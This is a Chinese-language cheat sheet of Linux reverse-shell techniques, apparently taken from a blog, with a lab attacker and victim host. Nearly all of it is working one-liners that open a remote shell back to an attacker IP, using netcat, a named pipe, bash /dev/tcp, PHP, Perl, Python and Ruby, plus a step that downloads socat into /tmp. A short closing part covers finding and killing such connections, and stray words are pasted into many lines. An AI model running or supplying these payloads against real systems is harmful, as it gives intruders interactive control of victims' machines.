Linux 反彈 Shell

攻擊場景

Attacker:192.168.0.106 win10php

Victim:192.168.2.140 kalihtml

NC 反彈 shell

Netcat簡介

俗稱瑞士軍刀或NC,小巧強悍,能夠讀寫TCP或UDP網絡鏈接,它被設計成一個可靠的後端工具,能被其它的程序或腳本直接地或容易地驅動。python

同時,nc又是一個功能豐富的網絡調試和開發工具,由於它能夠創建你可能用到的幾乎任何類型的鏈接,以及一些很是有意思的內建功能。滲透測試中,linux主機通常自帶nc,Windows主機須要自行上傳。linux

姿式一

若是目標主機(受害機)支持「-e」選項的話,咱們就能夠直接進行利用。git

ps:爲何咱們要在受害機的shell中反彈shell,由於有時候咱們所鏈接的shell,執行命令時沒有回顯。github

在Attack上開監聽端口shell

C:\Users\Joker>nc -l -p 2222

在受害機的shell中反彈shell後端

(www-data:/var/www/html) $ nc 192.168.0.106 2222 -e /bin/bash

在Attack上操做ruby

暫時只是一個沒有命令提示符的shellbash

在這裏能夠用python來獲得一個有交互式的shell

python -c "import pty; pty.spawn('/bin/bash')"    

ps:python2/3

姿式二

利用 nc 與 管道 |

mknod backpipe p; nc 192.168.88.129(監聽IP) 8888(監聽Port) 0<backpipe | /bin/bash 1>backpipe 2>backpipe

mknod backpipe p; nc 192.168.0.106 8888 0<backpipe | /bin/bash 1>backpipe 2>backpipe

使用管道符 | 鏈接nc的輸出與bash的輸入,使用本身建立的管道 backpipe鏈接/bin/bash的輸出與nc的輸入。
優勢:適用於nc的 -e參數被禁。
缺點:會在當前目錄下建立一個名爲backpipe的管道文件,容易被管理員發現。

 

bash 反彈 shell

Attack監聽

nc -lvvp 7777

Victim反彈

bash -i >& /dev/tcp/192.168.0.106/8888 0>&1

ps:

bash -i是打開一個交互的bash。

/dev/tcp/是Linux中的一個特殊設備,打開這個文件就至關於發出了一個socket調用,創建一個socket鏈接,讀寫這個文件就至關於在這個socket鏈接中傳輸數據。同理,Linux中還存在/dev/udp/。

 

php 反彈 shell

Attack監聽

nc -lvvp 4444

Victim反彈

php -r '$sock=fsockopen("192.168.0.106",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.0.106",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

 

 

perl 反彈 shell

Attack監聽

nc -lvvp 4444

Victim反彈

perl -e 'use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -e 'use Socket;$i="192.168.0.106";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

python 反彈 shell

Attack監聽

nc -lvvp 5555

Victim反彈

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.106",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

ps:python2/3

 

socat 反彈 shell

Attack監聽

nc -lvvp 12345

Victim反彈

下載socat到/tmp目錄下

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat 

給socat授予能夠執行權限

chmod 755 /tmp/socat 

反彈shell到目標主機的12345端口

/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.0.106:12345        

ruby 反彈 shell

Attack監聽

nc -lvvp 5555

Victim反彈

ruby -rsocket -e'f=TCPSocket.open("192.168.0.106",5555).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

排查&殺掉反彈 shell 

Search Command

→ ∮ ← :~# netstat -anop | grep ESTABLISHED

 

Kill Command

kill -9 4065
相關文章
相關標籤/搜索